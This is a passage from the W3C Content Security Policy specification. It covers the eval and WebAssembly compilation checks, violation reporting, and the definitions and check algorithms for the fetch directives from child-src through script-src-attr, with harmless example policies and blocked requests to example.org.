      2. Set violation’s resource to "eval".

      3. If source-list contains the expression "'report-sample'", then set violation’s sample to the substring of sourceString containing its first 40 characters.

      4. Execute § 5.5 Report a violation on violation.

      5. If policy’s disposition is "enforce", then set result to "Blocked".

  6. If result is "Blocked", throw an EvalError exception.

4.5. Integration with WebAssembly

WebAssembly defines the HostEnsureCanCompileWasmBytes() abstract operation which allows the host environment to block the compilation of WebAssembly sources into executable code. This document defines an implementation of this abstract operation which examines the relevant CSP list to determine whether such compilation ought to be blocked.

4.5.1. EnsureCSPDoesNotBlockWasmByteCompilationrealm

Given a realm realm, this algorithm returns normally if compilation is allowed, and throws a WebAssembly.CompileError if not:

  1. Let global be realm’s global object.

  2. Let result be "Allowed".

  3. For each policy of global’s CSP list:

    1. Let source-list be null.

    2. If policy contains a directive whose name is "script-src", then set source-list to that directive's value.

      Otherwise if policy contains a directive whose name is "default-src", then set source-list to that directive’s value.

    3. If source-list is non-null, and does not contain a source expression which is an ASCII case-insensitive match for the string "'unsafe-eval'", and does not contain a source expression which is an ASCII case-insensitive match for the string "'wasm-unsafe-eval'", then:

      1. Let violation be the result of executing § 2.4.1 Create a violation object for global, policy, and directive on global, policy, and "script-src".

      2. Set violation’s resource to "wasm-eval".

      3. Execute § 5.5 Report a violation on violation.

      4. If policy’s disposition is "enforce", then set result to "Blocked".

  4. If result is "Blocked", throw a WebAssembly.CompileError exception.

5. Reporting

When one or more of a policy’s directives is violated, a csp violation report may be generated and sent out to a reporting endpoint associated with the policy.

csp violation reports have the report type "csp-violation".

csp violation reports are visible to ReportingObservers. 

[Exposed=Window]
interface CSPViolationReportBody : ReportBody {
  [Default] object toJSON();
  readonly attribute USVString documentURL;
  readonly attribute USVString? referrer;
  readonly attribute USVString? blockedURL;
  readonly attribute DOMString effectiveDirective;
  readonly attribute DOMString originalPolicy;
  readonly attribute USVString? sourceFile;
  readonly attribute DOMString? sample;
  readonly attribute SecurityPolicyViolationEventDisposition disposition;
  readonly attribute unsigned short statusCode;
  readonly attribute unsigned long? lineNumber;
  readonly attribute unsigned long? columnNumber;
};

5.1. Violation DOM Events 

enum SecurityPolicyViolationEventDisposition {
  "enforce", "report"
};

[Exposed=(Window,Worker)]
interface SecurityPolicyViolationEvent : Event {
    constructor(DOMString type, optional SecurityPolicyViolationEventInit eventInitDict = {});
    readonly    attribute USVString      documentURI;
    readonly    attribute USVString      referrer;
    readonly    attribute USVString      blockedURI;
    readonly    attribute DOMString      effectiveDirective;
    readonly    attribute DOMString      violatedDirective; // historical alias of effectiveDirective
    readonly    attribute DOMString      originalPolicy;
    readonly    attribute USVString      sourceFile;
    readonly    attribute DOMString      sample;
    readonly    attribute SecurityPolicyViolationEventDisposition      disposition;
    readonly    attribute unsigned short statusCode;
    readonly    attribute unsigned long  lineNumber;
    readonly    attribute unsigned long  columnNumber;
};

dictionary SecurityPolicyViolationEventInit : EventInit {
    USVString      documentURI = "";
    USVString      referrer = "";
    USVString      blockedURI = "";
    DOMString      violatedDirective = "";
    DOMString      effectiveDirective = "";
    DOMString      originalPolicy = "";
    USVString      sourceFile = "";
    DOMString      sample = "";
    SecurityPolicyViolationEventDisposition disposition = "enforce";
    unsigned short statusCode = 0;
    unsigned long  lineNumber = 0;
    unsigned long  columnNumber = 0;
};

5.2. Obtain the blockedURI of a violation’s resource

Given a violation’s resource resource, this algorithm returns a string, to be used as the blocked URI field for violation reports.

  1. Assert: resource is a URL or a string.

  2. If resource is a URL, return the result of executing § 5.4 Strip URL for use in reports on resource.

  3. Return resource.

5.3. Obtain the deprecated serialization of violation

Given a violation violation, this algorithm returns a JSON text string representation of the violation, suitable for submission to a reporting endpoint associated with the deprecated report-uri directive.

  1. Let body be a map with its keys initialized as follows:

    "document-uri"

    The result of executing § 5.4 Strip URL for use in reports on violation’s url.

    "referrer"

    The result of executing § 5.4 Strip URL for use in reports on violation’s referrer.

    "blocked-uri"

    The result of executing § 5.2 Obtain the blockedURI of a violation’s resource on violation’s resource.

    "effective-directive"

    violation’s effective directive

    "violated-directive"

    violation’s effective directive

    "original-policy"

    The serialization of violation’s policy

    "disposition"

    The disposition of violation’s policy

    "status-code"

    violation’s status

    "script-sample"

    violation’s sample

    Note: The name script-sample was chosen for compatibility with an earlier iteration of this feature which has shipped in Firefox since its initial implementation of CSP. Despite the name, this field will contain samples for non-script violations, like stylesheets. The data contained in a SecurityPolicyViolationEvent object, and in reports generated via the new report-to directive, is named in a more encompassing fashion: sample.

  2. If violation’s source file is not null:

    1. Set body["source-file'] to the result of executing § 5.4 Strip URL for use in reports on violation’s source file.

    2. Set body["line-number"] to violation’s line number.

    3. Set body["column-number"] to violation’s column number.

  3. Assert: If body["blocked-uri"] is not "inline", then body["sample"] is the empty string.

  4. Return the result of serialize an infra value to JSON bytes given «[ "csp-report" → body ]».

5.4. Strip URL for use in reports

Given a URL url, this algorithm returns a string representing the URL for use in violation reports:

  1. If url’s scheme is not an HTTP(S) scheme, then return url’s scheme.

  2. Set url’s fragment to the empty string.

  3. Set url’s username to the empty string.

  4. Set url’s password to the empty string.

  5. Return the result of executing the URL serializer on url.

5.5. Report a violation

Given a violation violation, this algorithm reports it to the endpoint specified in violation’s policy, and fires a SecurityPolicyViolationEvent at violation’s element, or at violation’s global object as described below:

  1. Let global be violation’s global object.

  2. Let target be violation’s element.

  3. Queue a task to run the following steps:

    Note: We "queue a task" here to ensure that the event targeting and dispatch happens after JavaScript completes execution of the task responsible for a given violation (which might manipulate the DOM).

    1. If target is not null, and global is a Window, and target’s shadow-including root is not global’s associated Document, set target to null.

      Note: This ensures that we fire events only at elements connected to violation’s policy’s Document. If a violation is caused by an element which isn’t connected to that document, we’ll fire the event at the document rather than the element in order to ensure that the violation is visible to the document’s listeners.

    2. If target is null:

      1. Set target to violation’s global object.

      2. If target is a Window, set target to target’s associated Document.

    3. If target implements EventTarget, fire an event named securitypolicyviolation that uses the SecurityPolicyViolationEvent interface at target with its attributes initialized as follows:

      documentURI

      The result of executing § 5.4 Strip URL for use in reports on violation’s url.

      referrer

      The result of executing § 5.4 Strip URL for use in reports on violation’s referrer.

      blockedURI

      The result of executing § 5.2 Obtain the blockedURI of a violation’s resource on violation’s resource.

      effectiveDirective

      violation’s effective directive

      violatedDirective

      violation’s effective directive

      originalPolicy

      The serialization of violation’s policy

      disposition

      violation’s disposition

      sourceFile

      The result of executing § 5.4 Strip URL for use in reports on violation’s source file, if violation’s source file is not null, or null otherwise.

      statusCode

      violation’s status

      lineNumber

      violation’s line number

      columnNumber

      violation’s column number

      sample

      violation’s sample

      bubbles

      true

      composed

      true

      Note: We set the composed attribute, which means that this event can be captured on its way into, and will bubble its way out of a shadow tree. target, et al will be automagically scoped correctly for the main tree.

      Note: Both effectiveDirective and violatedDirective are the same value. This is intentional to maintain backwards compatibility.

    4. If violation’s policy’s directive set contains a directive named "report-uri" directive:

      1. If violation’s policy’s directive set contains a directive named "report-to", skip the remaining substeps.

      2. For each token of directive’s value:

        1. Let endpoint be the result of executing the URL parser with token as the input, and violation’s url as the base URL.

        2. If endpoint is not a valid URL, skip the remaining substeps.

        3. Let request be a new request, initialized as follows:

          method

          "POST"

          url

          violation’s url

          origin

          violation’s global object’s relevant settings object’s origin

          window

          "no-window"

          client

          violation’s global object’s relevant settings object

          destination

          "report"

          initiator

          ""

          credentials mode

          "same-origin"

          keepalive

          "true"

          header list

          A header list containing a single header whose name is "Content-Type", and value is "application/csp-report"

          body

          The result of executing § 5.3 Obtain the deprecated serialization of violation on violation

          redirect mode

          "error"

          Note: request’s mode defaults to "no-cors"; the response is ignored entirely.

        4. Fetch request. The result will be ignored.

      Note: All of this should be considered deprecated. It sends a single request per violation, which simply isn’t scalable. As soon as this behavior can be removed from user agents, it will be.

      Note: report-uri only takes effect if report-to is not present. That is, the latter overrides the former, allowing for backwards compatibility with browsers that don’t support the new mechanism.

    5. If violation’s policy’s directive set contains a directive named "report-to" directive:

      1. Let body be a new CSPViolationReportBody, initialized as follows:

        documentURL

        The result of executing § 5.4 Strip URL for use in reports on violation’s url.

        referrer

        The result of executing § 5.4 Strip URL for use in reports on violation’s referrer.

        blockedURL

        The result of executing § 5.2 Obtain the blockedURI of a violation’s resource on violation’s resource.

        effectiveDirective

        violation’s effective directive.

        originalPolicy

        The serialization of violation’s policy.

        sourceFile

        The result of executing § 5.4 Strip URL for use in reports on violation’s source file, if violation’s source file is not null, or null otherwise.

        sample

        violation’s sample.

        disposition

        violation’s disposition.

        statusCode

        violation’s status.

        lineNumber

        violation’s line number, if violation’s source file is not null, or null otherwise.

        columnNumber

        violation’s column number, if violation’s source file is not null, or null otherwise.

      2. Let settings object be violation’s global object’s relevant settings object.

      3. Generate and queue a report with the following arguments:

        context

        settings object

        type

        "csp-violation"

        destination

        directive’s value.

        data

        body

6. Content Security Policy Directives

This specification defines a number of types of directives which allow developers to control certain aspects of their sites' behavior. This document defines directives which govern resource fetching (in § 6.1 Fetch Directives), directives which govern the state of a document (in § 6.3 Document Directives), directives which govern aspects of navigation (in § 6.4 Navigation Directives), and directives which govern reporting (in § 6.5 Reporting Directives). These form the core of Content Security Policy; other directives are defined in a modular fashion in ancillary documents (see § 6.6 Directives Defined in Other Documents for examples).

To mitigate the risk of cross-site scripting attacks, web developers SHOULD include directives that regulate sources of script and plugins. They can do so by including:

In either case, developers SHOULD NOT include either 'unsafe-inline', or data: as valid sources in their policies. Both enable XSS attacks by allowing code to be included directly in the document itself; they are best avoided completely.

6.1. Fetch Directives

Fetch directives control the locations from which certain resource types may be loaded. For instance, script-src allows developers to allow trusted sources of script to execute on a page, while font-src controls the sources of web fonts.

6.1.1. child-src

The child-src directive governs the creation of child navigables (e.g. iframe and frame navigations) and Worker execution contexts. The syntax for the directive’s name and value is described by the following ABNF:

directive-name  = "child-src"
directive-value = serialized-source-list

This directive controls requests which will populate a frame or a worker. More formally, requests falling into one of the following categories:

Given a page with the following Content Security Policy: 
Content-Security-Policy: child-src https://example.com/

Fetches for the following code will all return network errors, as the URLs provided do not match child-src’s source list:

<iframe src="https://example.org"></iframe>
<script>
  var blockedWorker = new Worker("data:application/javascript,...");
</script>
6.1.1.1. child-src Pre-request check

This directive’s pre-request check is as follows:

Given a request request and a policy policy:

  1. Let name be the result of executing § 6.8.1 Get the effective directive for request on request.

  2. If the result of executing § 6.8.4 Should fetch directive execute on name, child-src and policy is "No", return "Allowed".

  3. Return the result of executing the pre-request check for the directive whose name is name on request and policy, using this directive’s value for the comparison.

6.1.1.2. child-src Post-request check

This directive’s post-request check is as follows:

Given a request request, a response response, and a policy policy:

  1. Let name be the result of executing § 6.8.1 Get the effective directive for request on request.

  2. If the result of executing § 6.8.4 Should fetch directive execute on name, child-src and policy is "No", return "Allowed".

  3. Return the result of executing the post-request check for the directive whose name is name on request, response, and policy, using this directive’s value for the comparison.

6.1.2. connect-src

The connect-src directive restricts the URLs which can be loaded using script interfaces. The syntax for the directive’s name and value is described by the following ABNF:

directive-name  = "connect-src"
directive-value = serialized-source-list

This directive controls requests which transmit or receive data from other origins. This includes APIs like fetch(), [XHR], [EVENTSOURCE], [BEACON], and a's ping. This directive also controls WebSocket [WEBSOCKETS] connections, though those aren’t technically part of Fetch.

JavaScript offers a few mechanisms that directly connect to an external server to send or receive information. EventSource maintains an open HTTP connection to a server in order to receive push notifications, WebSockets open a bidirectional communication channel between your browser and a server, and XMLHttpRequest makes arbitrary HTTP requests on your behalf. These are powerful APIs that enable useful functionality, but also provide tempting avenues for data exfiltration.

The connect-src directive allows you to ensure that these and similar sorts of connections are only opened to origins you trust. Sending a policy that defines a list of source expressions for this directive is straightforward. For example, to limit connections to only https://example.com, send the following header:

Content-Security-Policy: connect-src https://example.com/

Fetches for the following code will all return network errors, as the URLs provided do not match connect-src’s source list:

<a ping="https://example.org">...
<script>
  var xhr = new XMLHttpRequest();
  xhr.open('GET', 'https://example.org/');
  xhr.send();

  var ws = new WebSocket("wss://example.org/");

  var es = new EventSource("https://example.org/");

  navigator.sendBeacon("https://example.org/", { ... });
</script>
6.1.2.1. connect-src Pre-request check

This directive’s pre-request check is as follows:

Given a request request and a policy policy:

  1. Let name be the result of executing § 6.8.1 Get the effective directive for request on request.

  2. If the result of executing § 6.8.4 Should fetch directive execute on name, connect-src and policy is "No", return "Allowed".

  3. If the result of executing § 6.7.2.5 Does request match source list? on request, this directive’s value, and policy, is "Does Not Match", return "Blocked".

  4. Return "Allowed".

6.1.2.2. connect-src Post-request check

This directive’s post-request check is as follows:

Given a request request, a response response, and a policy policy:

  1. Let name be the result of executing § 6.8.1 Get the effective directive for request on request.

  2. If the result of executing § 6.8.4 Should fetch directive execute on name, connect-src and policy is "No", return "Allowed".

  3. If the result of executing § 6.7.2.6 Does response to request match source list? on response, request, this directive’s value, and policy, is "Does Not Match", return "Blocked".

  4. Return "Allowed".

6.1.3. default-src

The default-src directive serves as a fallback for the other fetch directives. The syntax for the directive’s name and value is described by the following ABNF:

directive-name  = "default-src"
directive-value = serialized-source-list

If a default-src directive is present in a policy, its value will be used as the policy’s default source list. That is, given default-src 'none'; script-src 'self', script requests will use 'self' as the source list to match against. Other requests will use 'none'. This is spelled out in more detail in the § 4.1.2 Should request be blocked by Content Security Policy? and § 4.1.3 Should response to request be blocked by Content Security Policy? algorithms.

Resource hints such as prefetch and preconnect generate requests that aren’t tied to any specific fetch directive, but are instead governed by the union of servers allowed in all of a policy’s directives' source lists. If default-src is not specified, these requests will always be allowed. For more information, see § 8.6 Exfiltration. [HTML]
The following header: 
Content-Security-Policy: default-src 'self'

will have the same behavior as the following header:

Content-Security-Policy: connect-src 'self';
                         font-src 'self';
                         frame-src 'self';
                         img-src 'self';
                         manifest-src 'self';
                         media-src 'self';
                         object-src 'self';
                         script-src-elem 'self';
                         script-src-attr 'self';
                         style-src-elem 'self';
                         style-src-attr 'self';
                         worker-src 'self'

That is, when default-src is set, every fetch directive that isn’t explicitly set will fall back to the value default-src specifies.

There is no inheritance. If a script-src directive is explicitly specified, for example, then the value of default-src has no influence on script requests. That is, the following header: 
Content-Security-Policy: default-src 'self'; script-src-elem https://example.com

will have the same behavior as the following header:

Content-Security-Policy: connect-src 'self';
                         font-src 'self';
                         frame-src 'self';
                         img-src 'self';
                         manifest-src 'self';
                         media-src 'self';
                         object-src 'self';
                         script-src-elem https://example.com;
                         script-src-attr 'self';
                         style-src-elem 'self';
                         style-src-attr 'self';
                         worker-src 'self'

Given this behavior, one good way to build a policy for a site would be to begin with a default-src of 'none', and to build up a policy from there which allowed only those resource types which are necessary for the particular page the policy will apply to.

6.1.3.1. default-src Pre-request check

This directive’s pre-request check is as follows:

Given a request request and a policy policy:

  1. Let name be the result of executing § 6.8.1 Get the effective directive for request on request.

  2. If the result of executing § 6.8.4 Should fetch directive execute on name, default-src and policy is "No", return "Allowed".

  3. Return the result of executing the pre-request check for the directive whose name is name on request and policy, using this directive’s value for the comparison.

6.1.3.2. default-src Post-request check

This directive’s post-request check is as follows:

Given a request request, a response response, and a policy policy:

  1. Let name be the result of executing § 6.8.1 Get the effective directive for request on request.

  2. If the result of executing § 6.8.4 Should fetch directive execute on name, default-src and policy is "No", return "Allowed".

  3. Return the result of executing the post-request check for the directive whose name is name on request, response, and policy, using this directive’s value for the comparison.

6.1.3.3. default-src Inline Check

This directive’s inline check algorithm is as follows:

Given an Element element, a string type, a policy policy and a string source:

  1. Let name be the result of executing § 6.8.2 Get the effective directive for inline checks on type.

  2. If the result of executing § 6.8.4 Should fetch directive execute on name, default-src and policy is "No", return "Allowed".

  3. Otherwise, return the result of executing the inline check for the directive whose name is name on element, type, policy and source, using this directive’s value for the comparison.

6.1.4. font-src

The font-src directive restricts the URLs from which font resources may be loaded. The syntax for the directive’s name and value is described by the following ABNF:

directive-name  = "font-src"
directive-value = serialized-source-list
Given a page with the following Content Security Policy: 
Content-Security-Policy: font-src https://example.com/

Fetches for the following code will return a network errors, as the URL provided do not match font-src’s source list:

<style>
  @font-face {
    font-family: "Example Font";
    src: url("https://example.org/font");
  }
  body {
    font-family: "Example Font";
  }
</style>
6.1.4.1. font-src Pre-request check

This directive’s pre-request check is as follows:

Given a request request and a policy policy:

  1. Let name be the result of executing § 6.8.1 Get the effective directive for request on request.

  2. If the result of executing § 6.8.4 Should fetch directive execute on name, font-src and policy is "No", return "Allowed".

  3. If the result of executing § 6.7.2.5 Does request match source list? on request, this directive’s value, and policy, is "Does Not Match", return "Blocked".

  4. Return "Allowed".

6.1.4.2. font-src Post-request check

This directive’s post-request check is as follows:

Given a request request, a response response, and a policy policy:

  1. Let name be the result of executing § 6.8.1 Get the effective directive for request on request.

  2. If the result of executing § 6.8.4 Should fetch directive execute on name, font-src and policy is "No", return "Allowed".

  3. If the result of executing § 6.7.2.6 Does response to request match source list? on response, request, this directive’s value, and policy, is "Does Not Match", return "Blocked".

  4. Return "Allowed".

6.1.5. frame-src

The frame-src directive restricts the URLs which may be loaded into child navigables. The syntax for the directive’s name and value is described by the following ABNF:

directive-name  = "frame-src"
directive-value = serialized-source-list
Given a page with the following Content Security Policy: 
Content-Security-Policy: frame-src https://example.com/

Fetches for the following code will return a network errors, as the URL provided do not match frame-src’s source list:

<iframe src="https://example.org/">
</iframe>
6.1.5.1. frame-src Pre-request check

This directive’s pre-request check is as follows:

Given a request request and a policy policy:

  1. Let name be the result of executing § 6.8.1 Get the effective directive for request on request.

  2. If the result of executing § 6.8.4 Should fetch directive execute on name, frame-src and policy is "No", return "Allowed".

  3. If the result of executing § 6.7.2.5 Does request match source list? on request, this directive’s value, and policy, is "Does Not Match", return "Blocked".

  4. Return "Allowed".

6.1.5.2. frame-src Post-request check

This directive’s post-request check is as follows:

Given a request request, a response response, and a policy policy:

  1. Let name be the result of executing § 6.8.1 Get the effective directive for request on request.

  2. If the result of executing § 6.8.4 Should fetch directive execute on name, frame-src and policy is "No", return "Allowed".

  3. If the result of executing § 6.7.2.6 Does response to request match source list? on response, request, this directive’s value, and policy, is "Does Not Match", return "Blocked".

  4. Return "Allowed".

6.1.6. img-src

The img-src directive restricts the URLs from which image resources may be loaded. The syntax for the directive’s name and value is described by the following ABNF:

directive-name  = "img-src"
directive-value = serialized-source-list

This directive controls requests which load images. More formally, this includes requests whose destination is "image" [FETCH].

Given a page with the following Content Security Policy: 
Content-Security-Policy: img-src https://example.com/

Fetches for the following code will return a network errors, as the URL provided do not match img-src’s source list:

<img src="https://example.org/img">
6.1.6.1. img-src Pre-request check

This directive’s pre-request check is as follows:

Given a request request and a policy policy:

  1. Let name be the result of executing § 6.8.1 Get the effective directive for request on request.

  2. If the result of executing § 6.8.4 Should fetch directive execute on name, img-src and policy is "No", return "Allowed".

  3. If the result of executing § 6.7.2.5 Does request match source list? on request, this directive’s value, and policy, is "Does Not Match", return "Blocked".

  4. Return "Allowed".

6.1.6.2. img-src Post-request check

This directive’s post-request check is as follows:

Given a request request, a response response, and a policy policy:

  1. Let name be the result of executing § 6.8.1 Get the effective directive for request on request.

  2. If the result of executing § 6.8.4 Should fetch directive execute on name, img-src and policy is "No", return "Allowed".

  3. If the result of executing § 6.7.2.6 Does response to request match source list? on response, request, this directive’s value, and policy, is "Does Not Match", return "Blocked".

  4. Return "Allowed".

6.1.7. manifest-src

The manifest-src directive restricts the URLs from which application manifests may be loaded [APPMANIFEST]. The syntax for the directive’s name and value is described by the following ABNF:

directive-name  = "manifest-src"
directive-value = serialized-source-list
Given a page with the following Content Security Policy: 
Content-Security-Policy: manifest-src https://example.com/

Fetches for the following code will return a network errors, as the URL provided do not match manifest-src’s source list:

<link rel="manifest" href="https://example.org/manifest">
6.1.7.1. manifest-src Pre-request check

This directive’s pre-request check is as follows:

Given a request request and a policy policy:

  1. Let name be the result of executing § 6.8.1 Get the effective directive for request on request.

  2. If the result of executing § 6.8.4 Should fetch directive execute on name, manifest-src and policy is "No", return "Allowed".

  3. If the result of executing § 6.7.2.5 Does request match source list? on request, this directive’s value, and policy, is "Does Not Match", return "Blocked".

  4. Return "Allowed".

6.1.7.2. manifest-src Post-request check

This directive’s post-request check is as follows:

Given a request request, a response response, and a policy policy:

  1. Let name be the result of executing § 6.8.1 Get the effective directive for request on request.

  2. If the result of executing § 6.8.4 Should fetch directive execute on name, manifest-src and policy is "No", return "Allowed".

  3. If the result of executing § 6.7.2.6 Does response to request match source list? on response, request, this directive’s value, and policy, is "Does Not Match", return "Blocked".

  4. Return "Allowed".

6.1.8. media-src

The media-src directive restricts the URLs from which video, audio, and associated text track resources may be loaded. The syntax for the directive’s name and value is described by the following ABNF:

directive-name  = "media-src"
directive-value = serialized-source-list
Given a page with the following Content Security Policy: 
Content-Security-Policy: media-src https://example.com/

Fetches for the following code will return a network errors, as the URL provided do not match media-src’s source list:

<audio src="https://example.org/audio"></audio>
<video src="https://example.org/video">
    <track kind="subtitles" src="https://example.org/subtitles">
</video>
6.1.8.1. media-src Pre-request check

This directive’s pre-request check is as follows:

Given a request request and a policy policy:

  1. Let name be the result of executing § 6.8.1 Get the effective directive for request on request.

  2. If the result of executing § 6.8.4 Should fetch directive execute on name, media-src and policy is "No", return "Allowed".

  3. If the result of executing § 6.7.2.5 Does request match source list? on request, this directive’s value, and policy, is "Does Not Match", return "Blocked".

  4. Return "Allowed".

6.1.8.2. media-src Post-request check

This directive’s post-request check is as follows:

Given a request request, a response response, and a policy policy:

  1. Let name be the result of executing § 6.8.1 Get the effective directive for request on request.

  2. If the result of executing § 6.8.4 Should fetch directive execute on name, media-src and policy is "No", return "Allowed".

  3. If the result of executing § 6.7.2.6 Does response to request match source list? on response, request, this directive’s value, and policy, is "Does Not Match", return "Blocked".

  4. Return "Allowed".

6.1.9. object-src

The object-src directive restricts the URLs from which plugin content may be loaded. The syntax for the directive’s name and value is described by the following ABNF:

directive-name  = "object-src"
directive-value = serialized-source-list
Given a page with the following Content Security Policy: 
Content-Security-Policy: object-src https://example.com/

Fetches for the following code will return a network errors, as the URL provided do not match object-src’s source list:

<embed src="https://example.org/flash"></embed>
<object data="https://example.org/flash"></object>

If plugin content is loaded without an associated URL (perhaps an object element lacks a data attribute, but loads some default plugin based on the specified type), it MUST be blocked if object-src’s value is 'none', but will otherwise be allowed.

Note: The object-src directive acts upon any request made on behalf of an object or embed element. This includes requests which would populate the child navigable generated by the former two (also including navigations). This is true even when the data is semantically equivalent to content which would otherwise be restricted by another directive, such as an object element with a text/html MIME type.

Note: When a plugin resource is navigated to directly (that is, as a plugin inside a navigable, and not as an embedded subresource via embed or object), any policy delivered along with that resource will be applied to the resulting Document. This means, for instance, that developers can prevent the execution of arbitrary resources as plugin content by delivering the policy object-src 'none' along with a response. Given plugins' power (and the sometimes-interesting security model presented by Flash and others), this could mitigate the risk of attack vectors like Rosetta Flash.

6.1.9.1. object-src Pre-request check

This directive’s pre-request check is as follows:

Given a request request and a policy policy:

  1. Let name be the result of executing § 6.8.1 Get the effective directive for request on request.

  2. If the result of executing § 6.8.4 Should fetch directive execute on name, object-src and policy is "No", return "Allowed".

  3. If the result of executing § 6.7.2.5 Does request match source list? on request, this directive’s value, and policy, is "Does Not Match", return "Blocked".

  4. Return "Allowed".

6.1.9.2. object-src Post-request check

This directive’s post-request check is as follows:

Given a request request, a response response, and a policy policy:

  1. Let name be the result of executing § 6.8.1 Get the effective directive for request on request.

  2. If the result of executing § 6.8.4 Should fetch directive execute on name, object-src and policy is "No", return "Allowed".

  3. If the result of executing § 6.7.2.6 Does response to request match source list? on response, request, this directive’s value, and policy, is "Does Not Match", return "Blocked".

  4. Return "Allowed".

6.1.10. script-src

The script-src directive restricts the locations from which scripts may be executed. This includes not only URLs loaded directly into script elements, but also things like inline script blocks and XSLT stylesheets [XSLT] which can trigger script execution. The syntax for the directive’s name and value is described by the following ABNF:

directive-name  = "script-src"
directive-value = serialized-source-list

The script-src directive acts as a default fallback for all script-like destinations (including worker-specific destinations if worker-src is not present). Unless granularity is desired script-src should be used in favor of script-src-attr and script-src-elem as in most situations there is no particular reason to have separate lists of permissions for inline event handlers and script elements.

The script-src directive governs six things:

  1. Script requests MUST pass through § 4.1.2 Should request be blocked by Content Security Policy?.

  2. Script responses MUST pass through § 4.1.3 Should response to request be blocked by Content Security Policy?.

  3. Inline script blocks MUST pass through § 4.2.3 Should element’s inline type behavior be blocked by Content Security Policy?. Their behavior will be blocked unless every policy allows inline script, either implicitly by not specifying a script-src (or default-src) directive, or explicitly, by specifying "unsafe-inline", a nonce-source or a hash-source that matches the inline block.

  4. The following JavaScript execution sinks are gated on the "unsafe-eval" source expression:

    Note: If a user agent implements non-standard sinks like setImmediate() or execScript(), they SHOULD also be gated on "unsafe-eval". Note: Since "unsafe-eval" acts as a global page flag, script-src-attr and script-src-elem are not used when performing this check, instead script-src (or it’s fallback directive) is always used.

  5. The following WebAssembly execution sinks are gated on the "wasm-unsafe-eval" or the "unsafe-eval" source expressions:

    Note: the "wasm-unsafe-eval" source expression is the more specific source expression. In particular, "unsafe-eval" permits both compilation (and instantiation) of WebAssembly and, for example, the use of the "eval" operation in JavaScript. The "wasm-unsafe-eval" source expression only permits WebAssembly and does not affect JavaScript.

  6. Navigation to javascript: URLs MUST pass through § 4.2.3 Should element’s inline type behavior be blocked by Content Security Policy?. Such navigations will only execute script if every policy allows inline script, as per #3 above.

6.1.10.1. script-src Pre-request check

This directive’s pre-request check is as follows:

Given a request request and a policy policy:

  1. Let name be the result of executing § 6.8.1 Get the effective directive for request on request.

  2. If the result of executing § 6.8.4 Should fetch directive execute on name, script-src and policy is "No", return "Allowed".

  3. Return the result of executing § 6.7.1.1 Script directives pre-request check on request, this directive, and policy.

6.1.10.2. script-src Post-request check

This directive’s post-request check is as follows:

Given a request request, a response response, and a policy policy:

  1. Let name be the result of executing § 6.8.1 Get the effective directive for request on request.

  2. If the result of executing § 6.8.4 Should fetch directive execute on name, script-src and policy is "No", return "Allowed".

  3. Return the result of executing § 6.7.1.2 Script directives post-request check on request, response, this directive, and policy.

6.1.10.3. script-src Inline Check

This directive’s inline check algorithm is as follows:

Given an Element element, a string type, a policy policy and a string source:

  1. Assert: element is not null or type is "navigation".

  2. Let name be the result of executing § 6.8.2 Get the effective directive for inline checks on type.

  3. If the result of executing § 6.8.4 Should fetch directive execute on name, script-src and policy is "No", return "Allowed".

  4. If the result of executing § 6.7.3.3 Does element match source list for type and source? on element, this directive’s value, type, and source, is "Does Not Match", return "Blocked".

  5. Return "Allowed".

6.1.11. script-src-elem

The syntax for the directive’s name and value is described by the following ABNF:

directive-name  = "script-src-elem"
directive-value = serialized-source-list

The script-src-elem directive applies to all script requests and script blocks. Attributes that execute script (inline event handlers) are controlled via script-src-attr.

As such, the following differences exist when comparing to script-src:

6.1.11.1. script-src-elem Pre-request check

This directive’s pre-request check is as follows:

Given a request request and a policy policy:

  1. Let name be the result of executing § 6.8.1 Get the effective directive for request on request.

  2. If the result of executing § 6.8.4 Should fetch directive execute on name, script-src-elem and policy is "No", return "Allowed".

  3. Return the result of executing § 6.7.1.1 Script directives pre-request check on request, this directive, and policy.

6.1.11.2. script-src-elem Post-request check

This directive’s post-request check is as follows:

Given a request request, a response response, and a policy policy:

  1. Let name be the result of executing § 6.8.1 Get the effective directive for request on request.

  2. If the result of executing § 6.8.4 Should fetch directive execute on name, script-src-elem and policy is "No", return "Allowed".

  3. Return the result of executing § 6.7.1.2 Script directives post-request check on request, response, this directive, and policy.

6.1.11.3. script-src-elem Inline Check

This directive’s inline check algorithm is as follows:

Given an Element element, a string type, a policy policy and a string source:

  1. Assert: element is not null or type is "navigation".

  2. Let name be the result of executing § 6.8.2 Get the effective directive for inline checks on type.

  3. If the result of executing § 6.8.4 Should fetch directive execute on name, script-src-elem, and policy is "No", return "Allowed".

  4. If the result of executing § 6.7.3.3 Does element match source list for type and source? on element, this directive’s value, type, and source is "Does Not Match", return "Blocked".

  5. Return "Allowed".

6.1.12. script-src-attr

The syntax for the directive’s name and value is described by the following ABNF:

directive-name  = "script-src-attr"
directive-value = serialized-source-list

The script-src-attr directive applies to event handlers and, if present, it will override the script-src directive for relevant checks.

6.1.12.1. script-src-attr Inline Check

This directive’s inline check algorithm is as follows:

Given an Element element, a string type, a policy policy and a string source:

  1. Assert: element is not null or type is "navigation".

  2. Let name be the result of executing § 6.8.2 Get the effective directive for inline checks on type.

  3. If the result of executing § 6.8.4 Should fetch directive execute on name, script-src-attr and policy is "No", return "Allowed".

  4. If the result of executing § 6.7.3.3 Does element match source list for type and source? on element, this directive’s value, type, and source, is "Does Not Match", return "Blocked".

  5. Return "Allowed".

6.1.13. style-src

The style-src directive restricts the locations from which style may be applied to a Document. The syntax for the directive’s name and value is described by the following ABNF:

directive-name  = "style-src"
directive-value = serialized-source-list

The style-src directive governs several things:

  1. Style requests MUST pass through § 4.1.2 Should request be blocked by Content Security Policy?. This includes:

    1. Stylesheet requests originating from a link element.

    2. Stylesheet requests originating from the @import rule.

